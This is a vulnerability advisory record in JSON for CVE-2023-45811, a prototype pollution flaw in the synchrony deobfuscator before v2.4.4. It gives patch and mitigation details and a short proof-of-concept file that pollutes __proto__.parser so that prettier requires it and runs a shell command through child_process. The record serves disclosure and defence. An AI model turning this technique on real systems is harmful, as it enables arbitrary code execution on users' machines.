{"id":"CVE-2023-45811","aliases":["GHSA-jg82-xh3w-rhxx"],"url":"https://o3.security/vulnerability/CVE-2023-45811","summary":"Prototype pollution vulnerability leading to arbitrary code execution in synchrony deobfuscator","details":"### Impact\n\nA `__proto__` pollution vulnerability exists in synchrony versions before v2.4.4. Successful exploitation could lead to arbitrary code execution.\n\n### Summary\n\nA `__proto__` pollution vulnerability exists in the [LiteralMap] transformer allowing crafted input to modify properties in the Object prototype.\n\nWhen executing in Node.js, due to use of the `prettier` module, defining a `parser` property on `__proto__` with a path to a JS module on disk [causes a `require` of the value][prettier/src/main/parser.js] which can lead to arbitrary code execution.\n\n### Patch\n\nA fix has been released in `deobfuscator@2.4.4`.\n\n### Mitigation\n\n- Upgrade synchrony to v2.4.4\n- Launch node with the [--disable-proto=delete][disable-proto] or [--disable-proto=throw][disable-proto] flag\n\n### Proof of Concept\n\nCraft a malicious input file named `poc.js` as follows:\n\n```js\n// Malicious code to be run after this file is imported. Logs the result of shell command \"dir\" to the console.\nconsole.log(require('child_process').execSync('dir').toString())\n\n// Synchrony exploit PoC\n{\n  var __proto__ = { parser: 'poc.js' }\n}\n```\n\nThen, run `synchrony poc.js` from the same directory as the malicious file.\n\n### Credits\n\nThis vulnerability was found and disclosed by [William Khem-Marquez][SteakEnthusiast].\n\n[LiteralMap]: src/transformers/literalmap.ts\n[SteakEnthusiast]: https://github.com/SteakEnthusiast\n[disable-proto]: https://nodejs.dev/en/api/v20/cli/#--disable-protomode\n[prettier/src/main/parser.js]: https://github.com/prettier/prettier/blob/2.5.1/src/main/parser.js#L53-L63","published":"2023-10-17T22:37:20.249Z","modified":"2026-10-28T02:30:35.855755096Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"deobfuscator","fixedVersion":"2.4.4"}],"fix":{"url":"https://github.com/relative/synchrony/commit/b583126be94c4db7c5a478f1c5204bfb4162cf40","label":"relative/synchrony@b583126"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/45xxx/CVE-2023-45811.json"},{"type":"ADVISORY","url":"https://github.com/relative/synchrony/security/advisories/GHSA-jg82-xh3w-rhxx"},{"type":"ADVISORY","url":"https://github.com/relative/synchrony/security/advisories/src/transformers/literalmap.ts"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-45811"},{"type":"FIX","url":"https://github.com/relative/synchrony/commit/b583126be94c4db7c5a478f1c5204bfb4162cf40"},{"type":"PACKAGE","url":"https://github.com/relative/synchrony"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:35.855755096Z"}}